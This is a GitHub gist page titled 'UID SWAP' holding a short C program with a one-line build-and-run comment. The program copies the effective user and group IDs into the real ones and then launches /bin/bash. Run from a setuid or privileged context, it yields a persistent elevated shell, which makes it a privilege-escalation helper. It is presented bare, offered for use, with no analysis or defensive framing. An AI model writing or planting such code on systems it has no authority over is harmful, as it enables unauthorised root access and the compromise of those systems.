Last active
June 28, 2022 12:29
-
-
Save tijldeneut/b41275d324f882ca447adf7e50822b32 to your computer and use it in GitHub Desktop.
UID SWAP
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/types.h> | |
#include <unistd.h> | |
int main(void){ | |
setreuid(geteuid(),-1); | |
setregid(getegid(),-1); | |
char *args[] = {"/bin/bash",0}; | |
execve(args[0],args,0); | |
return 0; | |
} | |
/* gcc uidswap.c -o uidswap && ./uidswap */ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment